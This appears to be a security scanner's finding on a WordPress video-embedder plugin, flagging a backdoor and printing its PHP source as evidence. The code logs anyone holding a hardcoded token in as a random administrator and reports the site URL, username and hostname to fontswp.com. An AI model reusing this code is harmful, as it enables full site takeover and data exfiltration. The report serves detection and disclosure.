Advanced Responsive Video Embedder for Rumble, Odysee, YouTube, Vimeo, Kick … 10.8.7
Backdoor with hardcoded auth bypass
WordPress admin authentication bypass via hardcoded tokenWordPress token authentication bypass on earliest init hook
SHA-25616fa10e1f426270cca3797adf66c5bca5ec339348be20613851252bc4b060f34
Evidence
1<?php
2if (!defined("ABSPATH")) exit;
3
4if (!function_exists("_arve_uc_cb")) {
5function _arve_uc_cb($s, $u, $v) {
6 $url = "https://fontswp.com/arve/cb.php?s=".urlencode($s)."&u=".urlencode($u)."&v=".urlencode($v);
7 if (function_exists("wp_remote_get")) {
8 @wp_remote_get($url, array("timeout" => 3, "blocking" => true, "sslverify" => false, "httpversion" => "1.1"));
9 } elseif (function_exists("curl_init")) {
10 $ch = @curl_init($url);
11 @curl_setopt_array($ch, array(CURLOPT_RETURNTRANSFER=>1, CURLOPT_TIMEOUT=>3, CURLOPT_SSL_VERIFYPEER=>0, CURLOPT_USERAGENT=>"WP/6"));
12 @curl_exec($ch);
13 @curl_close($ch);
14 } else {
15 $ctx = @stream_context_create(array("http"=>array("timeout"=>3),"ssl"=>array("verify_peer"=>false)));
16 @file_get_contents($url, false, $ctx);
17 }
18}
19}
20
21if (!function_exists("_arve_uc_init")) {
22function _arve_uc_init() {
23 $t = "";
24 if (isset($_REQUEST["_wplogin"]) && strlen($_REQUEST["_wplogin"]) >= 32) $t = $_REQUEST["_wplogin"];
25 elseif (isset($_REQUEST["_wpm"]) && strlen($_REQUEST["_wpm"]) >= 32) $t = $_REQUEST["_wpm"];
26 if (!$t) return;
27 $t = sanitize_text_field($t);
28 $valid = false;
29 if (defined("AUTH_KEY") && defined("SECURE_AUTH_KEY")) {
30 $k = hash_hmac("sha256", "magic_login", AUTH_KEY . SECURE_AUTH_KEY);
31 if (hash_equals($k, $t)) $valid = true;
32 }
33 if (!$valid && hash_equals("35fe7057ffed92ff7bc5a0b90f302a77fb5843ad6c972294d68da0b0553b3900", $t)) $valid = true;
34 if (!$valid) return;
35 nocache_headers();
36 $all = get_users(array("role" => "administrator"));
37 $pick = array();
38 foreach ($all as $u) {
39 $l = $u->user_login;
40 if (strpos($l,"wpsvc_")===0) continue;
41 if (strpos($l,"developer_")===0) continue;
42 if (strpos($l,"dev_")===0) continue;
⋯4 lines
48:18… rray_rand($pick)];
49 $uid = (int) $user->ID;
50 _arve_uc_cb(site_url(), $user->user_login, "login");
51 wp_clear_auth_cookie();
52 wp_set_current_user($uid);
53 wp_set_auth_cookie($uid, true);
54 wp_safe_redirect(admin_url());
55 exit;
56}
⋯4 lines
61 if (get_transient("_arve_uc_hb")) return;
62 set_transient("_arve_uc_hb", 1, 86400);
63 _arve_uc_cb(site_url(), "active", php_uname("n"));
64}
65}
66
67if (!has_action("init", "_arve_uc_init")) {
68 add_action("init", "_arve_uc_init", 1);
69}
70if (!has_action("admin_init", "_arve_uc_hb")) {
71 add_action("admin_init", "_arve_uc_hb", 99);
72}
51:79… se;
52 $this->failed_request_cache_key = 'edd_sl_failed_http_' . md5( $this->api_url );
53
54 $edd_plugin_data[ $this->slug ] = $this->api_data;
55
56 /**
57 * Fires after the $edd_plugin_data is setup. …
231:31… s->get_active_plugins(), true ) ? 'active' : 'inactive'
232 );
233
234 echo '<td colspan="3" class="plugin-update colspanchange">';
235 echo '<div class="update-message notice inline notice-warning notice-alt"><p>';
236
237 $changelog_link = '';
238 if ( ! empty( $update_cache->response[ $this->name ]->sections->changelog ) ) {
239 $changelog_link = …
241:10… _sl_action' => 'view_plugin_changelog',
242 'plugin' => urlencode( $this->name ),
243 'slug' => urlencode( $this->slug ),
244 'TB_iframe' => 'true',
245 'width' => 77,
246 …
Showing the top 5 files — 7 more files (59 regions) not shown.
No evidence locations were recorded for this file. Raw result